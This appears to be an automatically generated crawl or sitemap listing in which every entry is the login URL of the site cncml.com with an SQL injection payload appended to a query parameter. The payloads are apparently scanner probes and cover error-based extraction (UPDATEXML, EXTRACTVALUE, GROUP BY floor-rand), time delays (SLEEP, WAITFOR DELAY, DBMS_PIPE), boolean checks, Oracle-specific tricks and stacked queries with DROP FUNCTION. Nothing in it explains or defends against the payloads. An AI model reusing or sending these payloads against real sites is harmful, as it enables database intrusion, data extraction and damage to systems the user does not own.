http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%20'3W'='P7 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%20'KS'='KS 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%20'ap'%20LIKE%20'ap 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%20'hi'='3P 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%20'j4'='j4 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%20'lg'%20LIKE%20'jt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20OR%20'R3'='R3'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'eN'='eN 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=17)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'hB'='hB 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=69)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'RK'='RK 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(65=74)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'rO'='rO 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%22 0.0003 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%20('3N'%20LIKE%20'3N 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%20('eY'%20LIKE%20'1u 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%2019=16%20AND%20('0C'='0C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%2052=52%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%2052=61%20AND%20('mu'='mu 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%2064=64%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20OR%2088=88%20AND%20('AZ'='AZ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(35=11)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20('E0'='E0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(76=71)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('Af'='Af 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20('e5'='e5 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(95=95)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('Hc'='Hc 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes';%20IF(32=32)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes';%20IF(98=22)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(78=16)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20(78=78 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(84=84)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20(18=18 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes);%20IF(15=15)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes);%20IF(23=16)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,(SELECT%20(CASE%20WHEN%20(11=61)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,(SELECT%20(CASE%20WHEN%20(29=29)%20THEN%200x796573%20ELSE%2029*(SELECT%2029%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,(SELECT%20(CASE%20WHEN%20(29=43)%20THEN%200x796573%20ELSE%2029*(SELECT%2029%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,(SELECT%20(CASE%20WHEN%20(52=11)%20THEN%200x796573%20ELSE%2052*(SELECT%2052%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,(SELECT%20(CASE%20WHEN%20(55=55)%20THEN%200x796573%20ELSE%2055*(SELECT%2055%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 